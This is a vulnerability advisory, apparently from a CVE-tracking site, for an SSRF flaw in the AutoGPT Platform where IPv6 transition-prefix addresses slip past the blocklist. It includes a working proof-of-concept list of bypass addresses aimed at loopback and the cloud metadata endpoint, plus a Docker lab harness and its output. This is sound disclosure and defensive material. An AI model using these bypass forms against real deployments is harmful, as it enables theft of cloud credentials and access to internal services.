CVE-2026-132261autogpt-platform-beta Server-Side Request Forgery (SSRF)
NVD
Vulnerability Summary
The platform's address blocklist did not recognise IPv6 transition forms, so a URL written as a 6to4, Teredo, NAT64 or IPv4-translated address carried a blocked IPv4 destination past the check. On a host that routes those prefixes, any block fetching a user-supplied URL could reach link-local and private addresses, the cloud metadata endpoint among them. Upgrade to v0.9.0 or later. Impact Any user who could run an agent with a URL-fetching block, such as Send Web Request, Read RSS Feed, the MCP client or the LLM tools that fetch a URL, could make the platform request the IPv4 address embedded in one of these IPv6 forms, including the cloud metadata endpoint (short-term cloud credentials) or a service on the backend's loopback interface. It needed a host network that routes the transition prefix, such as a 6to4 relay, a NAT64 gateway in an IPv6-only cluster, or a Teredo tunnel. Fix Fixed in AutoGPT Platform v0.9.0. The address check now rejects the reported IPv6 forms when they carry a blocked IPv4 destination, along with the unspecified address and local-use NAT64. NAT64 prefixes an operator chooses for their own network still need a network policy of their own. Fix: #15926. Fix evidence: 84e023806d7b. Upgrade to v0.9.0 or later. Version numbers in this advisory identify Platform releases, whose Git tags are `autogpt-platform-beta-v<VERSION>`, rather than the backend Python package version. The `significantgravitas/autogpt` Docker image is tagged `v<VERSION>`. Workarounds Block outbound traffic from the backend to the transition prefixes (`2002::/16`, `2001::/32`, `64:ff9b::/96`, `64:ff9b:1::/48`) at the network layer, or run it on a host with no 6to4 relay, NAT64 gateway or Teredo tunnel. --- Details `_is_ip_blocked` (`autogpt_platform/backend/backend/util/request.py:74-88` at `127a0fa9`) normalised an IPv4-mapped IPv6 address to its IPv4 form before checking it against `BLOCKED_IP_NETWORKS`, so the IPv4 blocklist could not be bypassed by writing a private IPv4 address as `::ffff:a.b.c.d`: ```python def _is_ip_blocked(ip: str) -> bool: ip_addr = ipaddress.ip_address(ip) # Normalize IPv4-mapped IPv6 -> IPv4 so the IPv4 blocklist applies if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped: ip_addr = ip_addr.ipv4_mapped return any(ip_addr in network for network in BLOCKED_IP_NETWORKS) ``` It did not unwrap the other IPv6 forms that embed an IPv4 address, and none of their prefixes was in `BLOCKED_IP_NETWORKS` (`request.py:47-68`), whose IPv6 entries were `::1/128`, `fc00::/7`, `fe80::/10` and `ff00::/8`: - 6to4 (`2002::/16`, RFC 3056) - Teredo (`2001::/32`, RFC 4380) - NAT64 well-known (`64:ff9b::/96`, RFC 6052) - NAT64 discovery (`64:ff9b:1::/48`, RFC 8215) - IPv4-compatible (`::0.0.0.0/96`, RFC 4291, deprecated) - IPv4-translated (`::ffff:0:0:0/96`, RFC 2765) So `2002:7f00:1::1` (the 6to4 form of `127.0.0.1`) or `2002:a9fe:a9fe::` (of `169.254.169.254`) passed the check. Every consumer of `backend.util.request.Requests` reached it: `Requests._request()` called `validate_url_host()`, which called `resolve_and_check_blocked()` on each address the host name resolved to, and then connected to that pinned address list (the DNS-rebinding defence from GHSA-wvjg-9879-3m7w). Whether the packet then reached the embedded IPv4 address depended on the host's IPv6 routing: a 6to4 relay, a NAT64 or CLAT gateway, or a Teredo tunnel delivered it. `SendWebRequestBlock` returns the response body to the graph, so a successful request exfiltrated the internal content directly. This is supported platform code. The single-container Docker image (`significantgravitas/autogpt`, published from v0.7.1) runs the same request wrapper for every account it registers, so it was affected on hosts whose network routes these prefixes. Proof of concept Proof of concept ```python from backend.util.request import _is_ip_blocked for ip_str, label in [ ("127.0.0.1", "raw IPv4 loopback (control: BLOCK)"), ("169.254.169.254", "raw IPv4 IMDS (control: BLOCK)"), ("::ffff:127.0.0.1", "IPv4-mapped IPv6 (control: BLOCK)"), ("2002:7f00:1::", "6to4 of 127.0.0.1"), ("2002:a9fe:a9fe::", "6to4 of 169.254.169.254"), ("64:ff9b::7f00:1", "NAT64 well-known of 127.0.0.1"), ("64:ff9b::a9fe:a9fe", "NAT64 well-known of IMDS"), ("64:ff9b:1::7f00:1", "NAT64 discovery of 127.0.0.1"), ("::ffff:0:7f00:1", "IPv4-translated of 127.0.0.1"), ("::7f00:1", "IPv4-compatible of 127.0.0.1 (deprecated)"), ("2001::1", "Teredo"), ]: blocked = _is_ip_blocked(ip_str) print(f"{ip_str:25s} {'BLOCK' if blocked else 'PASS <-- NOT BLOCKED':25s} {label}") ``` Output against the released `autogpt-platform-beta-v0.6.61` source: ``` 127.0.0.1 BLOCK raw IPv4 loopback (control: BLOCK) 169.254.169.254 BLOCK raw IPv4 IMDS (control: BLOCK) ::ffff:127.0.0.1 BLOCK IPv4-mapped IPv6 (control: BLOCK) 2002:7f00:1:: PASS <-- NOT BLOCKED 6to4 of 127.0.0.1 2002:a9fe:a9fe:: PASS <-- NOT BLOCKED 6to4 of 169.254.169.254 64:ff9b::7f00:1 PASS <-- NOT BLOCKED NAT64 well-known of 127.0.0.1 64:ff9b::a9fe:a9fe PASS <-- NOT BLOCKED NAT64 well-known of IMDS 64:ff9b:1::7f00:1 PASS <-- NOT BLOCKED NAT64 discovery of 127.0.0.1 ::ffff:0:7f00:1 PASS <-- NOT BLOCKED IPv4-translated of 127.0.0.1 ::7f00:1 PASS <-- NOT BLOCKED IPv4-compatible of 127.0.0.1 (deprecated) 2001::1 PASS <-- NOT BLOCKED Teredo ``` End-to-end reproduction (against `autogpt-platform-beta-v0.6.61`) The host on which I ran this is macOS, which does not route the bare 6to4 prefix to a 6to4 relay. To make the wire behaviour reproducible without a real 6to4 router, the harness runs inside a Linux container, attaches `2002:7f00:1::1/128` (the 6to4 wrapper of `127.0.0.1`) to the container's loopback interface, pins a hostname to that address in `/etc/hosts`, and binds a tiny HTTP server on the address. This stands in for the production wire behaviour where 6to4 traffic routes to the embedded IPv4: in a production cloud, a real 6to4 relay would route `2002:7f00:1::1` toward `127.0.0.1`; in this lab the kernel routes it via the explicit loopback alias. The AutoGPT `Requests` client does not see any difference - it just sees a URL whose hostname resolves to an IPv6 literal that `_is_ip_blocked` accepts and then dials. Build (`Dockerfile`): ```dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir aiohttp==3.10.11 idna==3.10 tenacity==9.0.0 RUN apt-get update && apt-get install -y --no-install-recommends \ iproute2 git ca-certificates && rm -rf /var/lib/apt/lists/* RUN git clone --depth 1 --branch autogpt-platform-beta-v0.6.61 \ https://github.com/Significant-Gravitas/AutoGPT.git /opt/autogpt RUN mkdir -p /harness/backend/util && \ cp /opt/autogpt/autogpt_platform/backend/backend/util/request.py /harness/backend/util/request.py && \ touch /harness/backend/init.py && \ touch /harness/backend/util/init.py && \ printf 'from json import loads\n' > /harness/backend/util/json.py COPY poc_server.py /poc_server.py COPY run_poc.sh /run_poc.sh RUN chmod +x /run_poc.sh ENV PYTHONPATH=/harness CMD ["/run_poc.sh"] ``` (The `backend.util.json` stub replaces the monorepo's `fastapi`/`prisma`-dependent `loads` helper; `request.py` only uses it for `Response.json()` decoding, which is not on the SSRF guard path. The file under test is the exact released source - SHA256 `e55f8f6c1d59057a7a75c4e280738386070477100c447540087f86e61573231e`.) `poc_server.py` binds an IPv6 stream server on `[2002:7f00:1::1]:18099` and replies with a fake IMDS-style HTML body. `run_poc.sh`: ```bash ip -6 addr add 2002:7f00:1::1/128 dev lo echo "2002:7f00:1::1 ssrf-target.example.invalid" >> /etc/hosts python3 /poc_server.py & python3 - <<'PY' import asyncio from backend.util.request import _is_ip_blocked, validate_url_host, Requests transition-prefix table for ip in ["127.0.0.1", "::ffff:127.0.0.1", "2002:7f00:1::", "2002:a9fe:a9fe::", "64:ff9b::a9fe:a9fe", "::ffff:0:7f00:1", "2001::1"]: print(ip, "->", "BLOCK" if _is_ip_blocked(ip) else "PASS <-- NOT BLOCKED") validate_url_host on a hostname that resolves to the 6to4 wrapper async def main(): p, t, ips = await validate_url_host("http://ssrf-target.example.invalid:18099/") print("validate_url_host pass; ips:", ips) req = Requests(retry_max_attempts=1) r = await req.get("http://ssrf-target.example.invalid:18099/") print("Requests().get status:", r.status, "body:", r.text()) asyncio.run(main()) PY ``` Run command: ```bash docker build -t autogpt-ssrf-poc . docker run --rm --cap-add=NET_ADMIN autogpt-ssrf-poc ``` Captured run output: ``` === Step 1: attach 6to4-wrapped loopback IPv6 to lo === 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 inet6 2002:7f00:1::1/128 scope global inet6 ::1/128 scope host proto kernel_lo === Step 2: pin example.invalid -> 2002:7f00:1::1 in /etc/hosts === 2002:7f00:1::1 ssrf-target.example.invalid === Step 3: start an HTTP server bound to the 6to4 wrapper === server listening on [2002:7f00:1::1]:18099 === Step 4: confirm direct fetch via the hostname reaches the server === direct (hostname route): status=200 body=<html><body><h1>INTERNAL: cloud IMDS surrogate</h1><p>token=AKIA-LAB-CREDS-TOKEN</p></body></html> === Step 5: feed transition-prefix forms through autogpt's SSRF guard === Backend source pinned at autogpt-platform-beta-v0.6.61 Source SHA: e55f8f6c1d59057a7a75c4e280738386070477100c447540087f86e61573231e --- 5a. _is_ip_blocked() on IPv6 transition forms --- 127.0.0.1 BLOCK raw IPv4 loopback (control) 169.254.169.254 BLOCK raw IPv4 IMDS (control) ::ffff:127.0.0.1 BLOCK IPv4-mapped IPv6 (control: parent fix) 2002:7f00:1:: PASS <-- NOT BLOCKED 6to4 wrapper of 127.0.0.1 2002:a9fe:a9fe:: PASS <-- NOT BLOCKED 6to4 wrapper of 169.254.169.254 64:ff9b::7f00:1 PASS <-- NOT BLOCKED NAT64 well-known of 127.0.0.1 64:ff9b::a9fe:a9fe PASS <-- NOT BLOCKED NAT64 well-known of IMDS 64:ff9b:1::7f00:1 PASS <-- NOT BLOCKED NAT64 discovery of 127.0.0.1 ::ffff:0:7f00:1 PASS <-- NOT BLOCKED IPv4-translated RFC 2765 of 127.0.0.1 ::7f00:1 PASS <-- NOT BLOCKED IPv4-compatible of 127.0.0.1 (deprecated) 2001::1 PASS <-- NOT BLOCKED Teredo (RFC 4380) --- 5b. validate_url_host('http://ssrf-target.example.invalid:18099/') --- (host resolves to 2002:7f00:1::1 via /etc/hosts: 6to4 wrapper of 127.0.0.1) PASS <-- validated; trusted=False ips=['2002:7f00:1::1', '2002:7f00:1::1', '2002:7f00:1::1'] --- 5c. Requests().get(...) end-to-end via the SSRF-safe wrapper --- status=200 body='<html><body><h1>INTERNAL: cloud IMDS surrogate</h1><p>token=AKIA-LAB-CREDS-TOKEN</p></body></html>' summary: validate_url_host_passes=True, Requests().get_reaches_target=True === Step 6: control - direct 127.0.0.1 is still blocked by the IPv4 list === raw 127.0.0.1 blocked as expected: Access to blocked or private IP address 127.0.0.1 for hostname 127.0.0.1 is not allowed. ``` Interpretation: | Observation | Expected if SSRF policy were correct | |---|---| | 6to4 / Teredo / IPv4-translated / IPv4-compatible / NAT64 all PASS `_is_ip_blocked` | All should BLOCK because they wrap private/IMDS IPv4 addresses | | `validate_url_host` accepts the hostname pinned to `2002:7f00:1::1` | Should raise `ValueError` because the resolved IP is the 6to4 wrapper of `127.0.0.1` | | `Requests().get(...)` returns 200 with the internal body | Should raise `ValueError` from `validate_url_host` before any wire activity | | Raw `127.0.0.1` is still blocked | Matches expected - the gap is specific to transition prefixes, not a general regression | Fix verification: with the suggested patch (below) applied to `BLOCKED_IP_NETWORKS` and `_is_ip_blocked`, re-running step 5 flips to: ``` --- 5a. _is_ip_blocked() on IPv6 transition forms --- 2002:7f00:1:: BLOCK 2002:a9fe:a9fe:: BLOCK 64:ff9b::7f00:1 BLOCK 64:ff9b::a9fe:a9fe BLOCK 64:ff9b:1::7f00:1 BLOCK ::ffff:0:7f00:1 BLOCK ::7f00:1 BLOCK 2001::1 BLOCK --- 5b. validate_url_host('http://ssrf-target.example.invalid:18099/') --- BLOCK: Access to blocked or private IP address 2002:7f00:1::1 for hostname ssrf-target.example.invalid is not allowed. --- 5c. Requests().get(...) end-to-end via the SSRF-safe wrapper --- BLOCK (good for defender): Access to blocked or private IP address 2002:7f00:1::1 ... ``` (Full transcript: `research_ssrf_ipv6_consumers/poc/autogpt/e2e_log.txt`.) References - Fix commit `84e023806d` (#15926, in v0.9.0) - GHSA-wvjg-9879-3m7w: the DNS-rebinding fix that pinned the checked addresses Timeline Reported 2026-05-23 · Triaged 2026-09-07 · Fixed 2026-10-22 · Published 2026-11-17.
CVSS v3.1 Base Metrics — Score 6.3
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:NAttack VectorNetwork
Attack ComplexityHigh
Privileges RequiredLow
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityNone
AvailabilityNone
Affected & Patched Versions
- autogpt-platform-beta < 0.9.0
- significantgravitas/autogpt >= 0.7.1, < 0.9.0
- autogpt-platform-beta 0.9.0
- significantgravitas/autogpt 0.9.0
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run autogpt-platform-beta and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Nov 17, 2026Published
- Nov 17, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new autogpt-platform-beta CVEsYou are reading CVE-2026-132261. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 24, 2026 14:01 UTC